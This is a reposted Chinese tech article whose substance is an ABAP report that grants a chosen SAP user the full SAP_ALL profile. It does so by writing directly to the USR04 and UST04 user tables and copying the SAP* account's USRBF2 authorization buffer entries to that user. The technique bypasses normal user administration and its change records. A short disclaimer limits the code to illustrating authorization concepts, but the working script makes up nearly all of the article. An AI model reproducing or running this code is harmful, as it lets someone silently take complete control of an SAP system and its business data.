ABAP:給使用者加SAP_ALL的許可權

來源:互聯網
上載者:User

    給使用者增加SAP_ALL的許可權,報表可對basis與abap開發人員對使用者權限管理的思路,謝絕用於其它用途,後果自負。 

   

    REPORT ZTESTCREATEUSER.

    data: l_USR04 LIKE USR04 , 

    l_UST04 LIKE UST04 , 

    l_PROFS LIKE USR04-PROFS , 

    l_USRBF2 like USRBF2 occurs 0 with header line, 

    l_userid like usr01-bname. 

    TABLES : usr01. 

    SELECT-OPTIONS: p_user FOR USR01-BNAME .

    START-OF-SELECTION.

    select single * into l_USR04 from USR04 

    where BNAME in p_user. 

    move 'C SAP_ALL' to l_PROFS . 

    l_USR04-NRPRO = '14'. 

    l_USR04-PROFS = l_PROFS. 

    Update USR04 from l_USR04 . 

    l_userid = l_USR04-BNAME. 

    select single * into l_UST04 from UST04 

    where BNAME in p_user. 

    l_UST04-PROFILE = 'SAP_ALL'. 

    Update UST04 from l_UST04 .

    select * from USRBF2 into table l_USRBF2 

    where BNAME = 'SAP*' . 

    Loop at l_USRBF2. 

    l_USRBF2-BNAME = l_userid. 

    Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME. 

    endloop. 

    INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.

   

Pasted from <http://tech.sina.com.cn/s/2008-11-21/1428883624.shtml>

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.